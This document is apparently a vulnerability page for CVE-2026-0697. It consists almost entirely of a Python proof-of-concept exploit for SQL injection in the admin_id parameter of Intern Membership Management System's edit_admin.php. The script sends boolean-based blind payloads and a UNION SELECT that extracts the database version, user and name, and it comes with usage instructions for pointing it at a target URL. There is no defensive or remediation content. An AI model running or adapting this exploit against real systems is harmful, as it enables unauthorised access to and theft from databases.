CVE-2026-0697 Intern Membership Management System SQL注入漏洞

import requests import sys # CVE-2026-0697 SQL Injection PoC # Target: Intern Membership Management System 1.0 # Vulnerable File: /intern/admin/edit_admin.php # Parameter: admin_id def exploit_sql_injection(target_url, admin_id): """ SQL Injection exploit for CVE-2026-0697 This PoC demonstrates blind SQL injection via admin_id parameter """ # Vulnerable endpoint url = f"{target_url}/intern/admin/edit_admin.php" # Payload for boolean-based blind SQL injection # Testing if admin_id parameter is vulnerable true_payload = f"{admin_id}' AND 1=1 ---" false_payload = f"{admin_id}' AND 1=2 ---" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': 'PHPSESSID=admin_session_id' # Requires authenticated admin session } print(f"[*] Testing vulnerable parameter: admin_id") print(f"[*] True payload: {true_payload}") print(f"[*] False payload: {false_payload}") # Test true condition params = {'admin_id': true_payload} try: response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target appears vulnerable to SQL injection") print(f"[+] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Extract database version using UNION-based injection union_payload = f"{admin_id}' UNION SELECT NULL,version(),user(),database() ---" params = {'admin_id': union_payload} print(f"[*] Extracting database information with UNION payload") try: response = requests.get(url, params=params, headers=headers, timeout=10) if 'UNION' in response.text or response.status_code == 200: print(f"[+] Database information extraction successful") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_id>") print(f"Example: python {sys.argv[0]} http://target.com 1") sys.exit(1) target = sys.argv[1] admin_id = sys.argv[2] exploit_sql_injection(target, admin_id)